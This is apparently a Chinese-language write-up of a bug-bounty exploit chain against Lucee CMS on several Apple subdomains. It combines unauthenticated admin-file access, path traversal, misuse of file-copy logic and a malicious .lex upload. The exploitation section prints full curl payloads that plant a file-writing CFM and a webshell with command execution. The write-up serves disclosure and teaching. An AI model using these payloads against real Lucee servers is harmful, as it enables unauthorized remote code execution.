挖掘0day来入侵Apple
字数 1516 2025-08-06 08:35:25
Lucee CMS 0day漏洞分析与利用教学文档
漏洞概述
本文档详细分析了Apple公司使用的Lucee CMS系统中存在的多个0day漏洞,包括配置错误导致的未授权访问、文件上传漏洞和路径遍历漏洞的组合利用,最终实现远程代码执行(RCE)。这些漏洞影响了Apple的三个子域名:facilities.apple.com、booktravel.apple.com和booktravel-uat.apple.com。
目标环境分析
受影响系统
- https://facilities.apple.com/ (运行较新版本的Lucee)
- https://booktravel.apple.com/ (运行旧版本Lucee)
- https://booktravel-uat.apple.com/ (运行旧版本Lucee)
WAF行为分析
- Apple的WAF通过检测URL查询参数来阻止路径遍历和SQL注入尝试
- facilities.apple.com的前端服务器(反向代理)配置为仅显示后端返回的状态码200和404
- 其他状态码(包括触发WAF)都会返回403
漏洞详情
1. Lucee配置错误导致的未授权访问
- Lucee存在配置错误,允许未认证用户直接访问需要认证的CFM文件
- 虽然
request.admintype检查会终止未认证请求的执行流程,但在该检查之前的代码仍会执行 - 关键可利用文件:
imgProcess.cfm(较新版本可用)admin.search.index.cfmext.applications.upload.cfm
2. imgProcess.cfm文件路径遍历漏洞
- 漏洞代码:
<cffile action="write" file="#expandPath('{temp-directory}/admin-ext-thumbnails/')#\__#url.file#" Output="#form.imgSrc#" createPath="true">
- 允许在服务器任意位置创建文件
- 限制:
- WAF阻止查询参数中的
../ - 需要
__目录存在(但expandPath会自动创建)
- WAF阻止查询参数中的
3. admin.search.index.cfm文件复制功能漏洞
- 接受两个参数:
dataDir- 目标目录luceeArchiveZipPath- 源目录
- 关键行为:
- 列出源目录中匹配
*.*.cfm的文件 - 处理文件名并创建
.txt文件 - 最终将搜索结果写入
searchindex.cfm文件
- 列出源目录中匹配
- 可利用点:
- 可以控制写入文件的内容
- 文件名处理逻辑可被利用
4. ext.applications.upload.cfm未授权文件上传
- 允许上传
.lex扩展名的文件 - 虽然
.lex文件检查会导致异常,但文件已上传 .lex文件实际上是ZIP归档,可包含任意内容
漏洞利用链
在facilities.apple.com上的利用步骤
- 创建恶意CFM文件:
curl -X POST 'https://facilities.apple.com/lucee/admin/imgProcess.cfm?file=%2F%73%65%72%76%65%72%2e%3c%63%66%66%69%6c%65%20%61%63%74%69%6f%6e%3d%77%72%69%74%65%20%66%69%6c%65%3d%23%55%72%6c%5b%27%66%27%5d%23%20%6f%75%74%70%75%74%3d%23%55%72%6c%5b%27%63%6f%6e%74%65%6e%74%27%5d%23%3e%2e%63%66%6d' --data 'imgSrc="#stText.Buttons.save#"'
- 触发文件复制:
curl 'http://facilities.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/context/rootxharsh/&LUCEEARCHIVEZIPPATH=/full/path/lucee/temp/admin-ext-thumbnails/__/'
- 写入Webshell:
curl https://facilities.apple.com/lucee/rootxharsh/searchindex.cfm?f=PoC.cfm&content=cfm_shell
- 访问Webshell:
https://facilities.apple.com/lucee/rootxharsh/PoC.cfm
在旧版本主机(booktravel.apple.com)上的利用
- 创建恶意ZIP文件:
- 创建名为
server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm的文件,内容为"#stText.x.f#" - 将其压缩为
payload.lex
- 上传恶意文件:
curl -vv -F extfile=@payload.lex https://booktravel.apple.com/lucee/admin/ext.applications.upload.cfm
- 触发漏洞利用:
curl https://booktravel.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/web/context/exploit/&luceeArchiveZipPath=zip:///full/path/lucee/web/temp/payload.lex
- 写入并访问Webshell:
https://booktravel.apple.com/lucee/exploit/searchindex.cfm?f=test.cfm&output=cfml_shell
https://booktravel.apple.com/lucee/exploit/test.cfm?cmd=id
漏洞修复
- Lucee团队修复了直接访问CFM文件的问题
- Apple迅速修复了这些漏洞
- 建议措施:
- 更新到最新Lucee版本
- 加强认证检查
- 限制文件操作权限
- 加强WAF规则
总结
这些漏洞组合利用可获得Apple服务器上的远程代码执行能力,展示了配置错误、文件操作漏洞和认证缺陷的组合风险。Apple为此漏洞支付了总计50,000美元的奖励。